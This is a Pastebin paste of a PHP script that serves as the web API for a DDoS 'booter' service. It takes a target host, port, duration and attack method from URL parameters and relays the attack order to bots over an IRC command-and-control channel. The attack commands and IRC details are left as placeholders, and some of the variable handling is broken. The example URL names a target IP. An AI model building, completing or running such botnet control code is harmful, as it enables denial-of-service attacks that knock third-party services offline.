Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- set_time_limit(10);
- //http://website.com/send.php?method=udp&host=183.213.76.108&port=8000&time=60&key=LMDWqcnP3
- $APIkey = "api key here";
- /* SELECT IRC NETWORK */
- $server_host = "IRC IP HERE";
- $server_port = IRC PORT HERE;
- $server_pass = "IRC PASSWORD HERE";
- /* SELECT IRC CHANNEL */
- $channel = "#IRC CHANNEL HERE";
- $chankey = "channel_key";
- /* IRC BOT PASSWORD */
- $botPassword = "irc BOT password here";
- $errors = array();
- if($_GET['debug'] == "1"){ $debug = 1; } else { $debug = 0; };
- $keyyy = $_GET['key'];
- if (!preg_match('/^[a-zA-Z0-9\.-_]+$/',$keyyy)) die("key is invalid");
- /* BEGIN PROCESSING REQUEST */
- if($keyyy == $APIkey){
- /* IPHost convert host input to IP */
- $IPHost = preg_replace('/\/.*/', '', preg_replace('/.*:\/\//', '', gethostbyname($host)));
- $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80;
- $time = intval($_GET['time']);
- $method = $_GET['method'];
- if (!is_numeric($time)) { $errors[] = '**Time is invalid**'; }
- if ($method == "http") { $cmd = "command here fools"; } //add in your attack syntax. make new lines for all attack commands. use $host $time $port all that shit
- if (empty($cmd)){ $errors[] = '**INVALID METHOD**'; }
- if (empty($host) || empty($time) || empty($port) || empty($method))
- {
- $errors[] = '**MISSING ARGUMENTS ERROR**';
- }
- /* !!SANITIZED AND COLLECTED ALL INFO - BEGIN PROCESSING IF NO ERRORS!! */
- if (empty($errors)){
- $search = array('[IP]', '[PORT]', '[TIME]');
- $replac = array($host, $port, $time);
- $command = str_replace($search, $replac, $cmd);
- $nickname = "irc nickname here";
- $server = array();
- $Go = false;
- $Read = false;
- $x = 0;
- $server['SOCKET'] = fsockopen($server_host,$server_port,$errCode,$errStr,2);
- if($server['SOCKET']) {
- SendCommand("PASS $server_pass\n\r");
- SendCommand("NICK $nickname\n\r");
- SendCommand("USER $nickname USING PHP IRC\n\r");
- while(!feof($server['SOCKET'])) {
- $server['READ_BUFFER'] = fgets($server['SOCKET'], 1024);
- if($debug == 2)echo $server['READ_BUFFER']."<br>";
- if($x != 10) {
- $x++;
- } else {
- if($Go == false) {
- //if(strpos($server['READ_BUFFER'],":MOTD")) {
- SendCommand("OPER COMMAND HERE\n\r");
- SendCommand("JOIN $channel $chankey\n\r");
- $Go = true;
- //break;
- // }
- }
- }
- if(substr($server['READ_BUFFER'], 0, 6) == "PING :") {
- SendCommand("PONG :".substr($server['READ_BUFFER'], 6)."\n\r");
- }
- if($Go == true) {
- if(strpos($server['READ_BUFFER'],"/NAMES")) {
- $loginCMD = "(add login syntax or whatever) ".$botPassword;
- /* LOGIN TO BOT */
- SendCommand("PRIVMSG $channel $loginCMD\n\r");
- /*SEND ATTACK */
- SendCommand("PRIVMSG $channel $cmd\n\r");
- /* LOGOUT */
- SendCommand("PRIVMSG $channel .logout\n\r");
- echo "Attack Sent!";
- SendCommand("/disconnect");
- die();
- }
- }
- if(strpos($server['READ_BUFFER'],"+dc")) {
- //SendCommand("/disconnect");
- //die();
- }
- }
- }
- echo '<p>Attack sent!</p>';
- }
- else
- {
- echo '<p><strong>ERROR:</strong><br />';
- foreach($errors as $error)
- {
- echo '-'.$error.'<br />';
- }
- }
- }
- function SendCommand($cmd) {
- global $server;
- @fwrite($server['SOCKET'], $cmd, strlen($cmd));
- }
- ?>
Add Comment
Please, Sign In to add comment